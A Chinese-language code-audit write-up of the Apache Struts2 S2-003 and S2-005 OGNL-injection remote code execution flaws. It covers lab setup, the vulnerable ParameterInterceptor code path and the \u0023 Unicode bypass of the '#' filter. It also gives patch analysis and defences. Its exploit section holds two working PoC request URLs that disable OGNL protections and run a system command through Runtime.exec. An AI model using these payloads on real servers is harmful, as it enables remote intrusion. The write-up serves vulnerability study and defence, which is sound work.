Java代码审计之Struts2-003、005(三)
字数 1740 2025-08-25 22:59:03
Struts2-003/005 远程代码执行漏洞分析与利用
漏洞概述
Struts2-003 是一个远程代码执行漏洞,Struts2-005 是其补丁绕过漏洞。这两个漏洞允许攻击者通过精心构造的OGNL表达式在服务器上执行任意代码。
影响版本:
- Struts 2.0.0 - Struts 2.1.8.1
漏洞环境搭建
所需组件
-
Struts2-003:
- Apache Tomcat/6.0.10
- struts-2.0.8
-
Struts2-005:
- Apache Tomcat/6.0.10
- struts-2.0.12
下载地址
- Struts2: http://archive.apache.org/dist/struts/binaries/
- Tomcat: https://archive.apache.org/dist/tomcat/tomcat-6/v6.0.10/bin/apache-tomcat-6.0.10.zip
漏洞分析
漏洞原理
漏洞位于ParameterInterceptor拦截器中,攻击者可以通过绕过参数过滤机制执行OGNL表达式。
关键流程:
ParameterInterceptor:doIntercept()方法处理HTTP请求参数- 调用
setParameters方法将参数设置到值栈中 acceptableName方法检查参数名是否包含非法字符(包括#号)- 通过校验后调用
setValue方法将值添加到值栈 compile方法解析字符串,对\u字符进行解码(在JavaCharStream:readChar()中处理)- 解码后的字符串通过
Ognl.setValue()执行OGNL表达式
绕过技巧
由于acceptableName方法会过滤#号,攻击者可以通过Unicode编码\u0023来绕过:
#→\u0023
漏洞利用
Struts2-003 PoC
login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'deepin-calculator\')')(bla)(bla)
Struts2-005 PoC(绕过补丁)
login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'deepin-calculator\')')(bla)(bla)
PoC解释
-
\u0023context['xwork.MethodAccessor.denyMethodExecution']=false- 关闭方法执行限制
-
\u0023_memberAccess.allowStaticMethodAccess=true- 允许静态方法调用(绕过005补丁)
-
\u0023_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET- 清空排除属性列表(确保执行不被过滤)
-
\u0023myret=@java.lang.Runtime@getRuntime().exec('deepin-calculator')- 执行系统命令
补丁分析
Struts2-003补丁(struts-2.0.12)
主要引入了:
allowStaticMethodAccess变量 - 控制静态方法调用开关SecurityMemberAccess类 - 控制成员变量访问权限
问题:这些变量仍可通过OGNL表达式控制,导致补丁可被绕过
Struts2-005补丁(struts-2.2.1)
采用了更严格的正则表达式[a-zA-Z0-9\s]+来校验参数名的合法性
技术细节
关于excludeProperties的疑问
在调试中发现:
_memberAccess.excludeProperties默认值为dojo\..*- 理论上不匹配PoC中的表达式
- 但实际测试中必须设置
excludeProperties=@java.util.Collections@EMPTY_SET才能执行成功 - 原因尚不明确(可能是OGNL内部处理机制)
防御措施
- 升级到不受影响的Struts2版本
- 对用户输入进行严格过滤
- 禁用危险的OGNL表达式功能
- 使用WAF拦截恶意请求
参考资源
- 官方通告: https://cwiki.apache.org/confluence/display/WW/S2-003
- Struts2-Vuln项目: (原文未提供具体链接)
- 个人博客: (原文未提供具体链接)